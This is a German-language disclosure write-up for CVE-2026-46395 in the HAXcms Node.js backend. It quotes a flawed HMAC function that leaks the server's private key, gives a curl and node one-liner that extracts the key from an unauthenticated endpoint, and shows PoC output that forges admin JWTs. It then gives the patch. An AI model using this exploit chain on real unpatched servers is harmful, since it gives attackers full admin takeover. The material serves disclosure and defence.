
PoC und Writeup für CVE-2026-46395: unauthentifizierte Offenlegung privater Schlüssel durch defekten HMAC in HAXcms Node.js (CWE-321/CWE-200). Nur für autorisierte Sicherheitsforschung.
Proof-of-concept nur für autorisierte Sicherheitstests und Forschung. Die hier beschriebene Sicherheitslücke ist im neuesten Release von HAXcms behoben. Dieses PoC wird veröffentlicht, damit Verteidiger und Forscher das Problem überprüfen können auf ungepatchten Instanzen, die sie besitzen oder für die sie ausdrücklich autorisiert sind, zu testen.
| CVE | CVE-2026-46395 |
| Komponente | HAXcms Node.js Backend - haxcms-nodejs/src/lib/HAXCMS.js |
| Schwachstelle | Hartcodierter kryptografischer Schlüssel + Offenlegung des privaten Schlüssels (CWE-321, CWE-200) |
| Schweregrad | Kritisch - CVSS 3.1 9.8 |
| Angriff | Nicht authentifiziert, einzelne HTTP-Anfrage, keine Benutzerinteraktion |
| Status | Im Upstream behoben. Betrifft Versionen vor dem Patch. |
| Projekt | elmsln/HAXcms |
| Melder | Shreyas Challa ([email protected]) |
hmacBase64() im HAXcms Node.js Backend (src/lib/HAXCMS.js:2158-2163)
enthält zwei kryptografische Fehler, die zusammen jedem nicht authentifizierten
Angreifer ermöglichen, das geheime Hauptsignierungsecret des Servers (privateKey + salt) wiederherzustellen und
Admin-Level-JWTs zu fälschen.
// HAXCMS.js:2158-2163 - VULNERABLE
hmacBase64(data, key) {
var buf1 = crypto.createHmac("sha256", "0").update(data).digest(); // BUG 1: key hardcoded to "0"
var buf2 = Buffer.from(key); // BUG 2: the real key...
return Buffer.concat([buf1, buf2]).toString('base64') // ...is appended to the output
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
"0" wird als Signierschlüssel verwendet
anstelle von key, sodass der HMAC keine Geheimhaltung bietet.key (das privateKey + salt des Systems)
wird an den Digest angehängt und base64-codiert in das zurückgegebene Token eingefügt.Jedes Token hat daher die Struktur:
base64url( [32 bytes: HMAC-SHA256 keyed with "0"] [N bytes: privateKey+salt IN PLAINTEXT] )
Ein Angreifer base64-decodiert ein beliebiges Token, verwirft die ersten 32 Bytes und liest den privaten Schlüssel direkt. Der Endpunkt /system/api/connectionSettings befindet sich in der JWT-Skip-Liste (src/app.js) und gibt mehrere dieser Token ohne Authentifizierung zurück, sodass eine einzelne GET-Anfrage den Schlüssel offenlegt.
Das PHP-Backend (
HAXCMS.php:1619-1631) implementiert dies korrekt (mit dem echten Schlüssel versehen, gibt nur den Digest zurück → 44-Zeichen-Tokens). Die defekte Node.js-Version gibt 139+ Zeichen lange Tokens aus – ein sichtbares Zeichen, dass zusätzliche Daten eingebettet sind.
Eine einzelne nicht authentifizierte Anfrage führt zur vollständigen Kompromittierung:
GET /system/api/connectionSettings, ein beliebiges Token base64-decodieren, die ersten 32 Bytes verwerfen.jwt.sign(payload, privateKey+salt).user_token, form_token usw. neu berechnen.Dies funktioniert selbst dann, wenn der Admin ein starkes Passwort festgelegt hat, und gefälschte Tokens erzeugen keine Login-Ereignisse in den Protokollen.
poc_hmac_key_leak.js führt die gesamte Kette Ende-zu-Ende gegen eine laufende Instanz aus und gibt jeden Schritt ausführlich aus: Tokens abrufen → Schlüssel extrahieren → Schlüssel verifizieren → JWT fälschen → Anfrage-Tokens fälschen → einen authentifizierten Endpunkt aufrufen → eine Website erstellen, um Schreibzugriff nachzuweisen.
Richten Sie eine lokale Testinstanz ein:
git clone https://github.com/elmsln/HAXcms.git
cd HAXcms/haxcms-nodejs && npm install
node src/app.js # serves on http://localhost:3000
git clone https://github.com/shreyas-challa/CVE-2026-46395-haxcms-hmac-key-leak.git
cd CVE-2026-46395-haxcms-hmac-key-leak
npm install # pulls jsonwebtoken (used for JWT forgery)
node poc_hmac_key_leak.js http://localhost:3000
Wenn jsonwebtoken nicht installiert ist, extrahiert und verifiziert das PoC trotzdem den Schlüssel und überspringt einfach die JWT-Fälschungsschritte.
TOKEN=$(curl -s http://localhost:3000/system/api/connectionSettings \
| grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)
node -e "const t='$TOKEN'.replace(/-/g,'+').replace(/_/g,'/');
console.log('Leaked key:', Buffer.from(t,'base64').slice(32).toString('utf8'));"
STEP 1: Fetch /system/api/connectionSettings (NO AUTH)
token length: 139 chars (a correct HMAC token is ~44)
STEP 2: Extract the private key from the token
Bytes 32+ (privateKey + salt in PLAINTEXT):
4b399844-...-...-db022bc6-fa42-4dae-a74e-4eb52a53461b
RESULT: Private key successfully extracted!
STEP 3: MATCH - extracted key is correct.
STEP 4: Forged JWT (user=admin) ...
STEP 7: SITE CREATED SUCCESSFULLY - full admin access confirmed.
Ersetzen Sie die defekte Funktion durch einen korrekten, mit Schlüssel versehenen HMAC, der nur den Digest zurückgibt:
hmacBase64(data, key) {
return crypto.createHmac("sha256", key) // use the real key
.update(data)
.digest('base64') // return ONLY the hash
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
Nach dem Patchen:
privateKey und salt auf jeder bereitgestellten Instanz rotieren - jedes zuvor ausgestellte Token enthält den alten Schlüssel im Klartext (in HTTP-Antworten, Protokollen und Browserverlauf).Aktualisieren Sie auf das neueste HAXcms-Release, das den Upstream-Fix enthält.
Diese Sicherheitslücke wurde den HAXcms-Maintainern gemeldet und vor der Veröffentlichung behoben. Das PoC wird erst veröffentlicht, nachdem ein Patch verfügbar war. Verwenden Sie es ausschließlich gegen Systeme, die Sie besitzen oder für die Sie ausdrücklich autorisiert sind, zu testen.
Dieses Material wird für defensive Forschung, Bildung und autorisierte Sicherheitstests bereitgestellt. Die Ausführung gegen Systeme ohne ausdrückliche Genehmigung kann illegal sein. Sie sind allein dafür verantwortlich, alle geltenden Gesetze einzuhalten und vor dem Test eine Genehmigung einzuholen. Wird 'wie besehen' ohne Gewährleistung bereitgestellt (siehe LICENSE).